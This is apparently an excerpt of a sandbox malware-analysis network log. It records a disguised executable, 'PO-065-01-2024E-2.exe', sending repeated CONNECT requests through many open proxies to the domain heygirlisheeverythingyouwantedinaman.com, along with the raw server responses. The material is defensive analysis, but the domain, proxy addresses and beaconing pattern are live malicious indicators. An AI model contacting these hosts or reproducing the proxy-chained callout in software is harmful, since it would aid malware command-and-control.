Mar 11, 2024 16:39:46.054094076 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.10	51418	8.213.128.90	444	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.900067091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.598361969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.469422102 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.10	51423	198.44.255.3	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.900134087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.10	51438	147.75.92.251	10010	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.900583982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.175932884 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.10	51504	104.16.109.213	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.905225992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.059300900 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.10	51484	38.54.6.39	9080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.906256914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.128329039 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.10	50914	185.129.250.183	26777	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.908870935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.961574078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.984805107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.10	51434	203.74.125.18	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.909858942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.10	51301	190.220.228.147	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.913736105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.617551088 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.10	51537	104.19.235.10	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.947159052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.101521969 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.10	51413	93.171.220.229	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.947602987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.10	51427	91.148.127.162	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.947794914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.10	51585	43.134.238.25	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.947850943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.10	51592	43.134.238.25	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.948379040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.10	51593	43.134.238.25	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.949382067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.10	51594	43.134.238.25	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.950118065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.10	51463	95.164.89.123	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.960441113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.10	51455	43.131.245.216	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.964040995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.10	51432	120.77.148.138	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.969655037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.785774946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.140687943 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 38 38 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314088"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.10	51614	46.22.210.184	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.971303940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.10	51618	46.22.210.184	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.972135067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.10	51622	46.22.210.184	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.973366976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.10	51624	46.22.210.184	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.974284887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.10	51469	91.134.140.160	12217	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.978558064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.707798958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.754265070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.707983017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.598563910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.10	51525	23.152.40.15	5050	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.978943110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.10	51460	27.0.234.206	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.983403921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.10	51479	212.127.93.185	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.017532110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.10	51429	13.234.24.116	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.018683910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.415553093 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.10	51452	202.162.219.10	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.018685102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.10	51491	147.75.34.86	10000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.018982887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.318314075 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.10	51486	45.138.87.238	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.026642084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
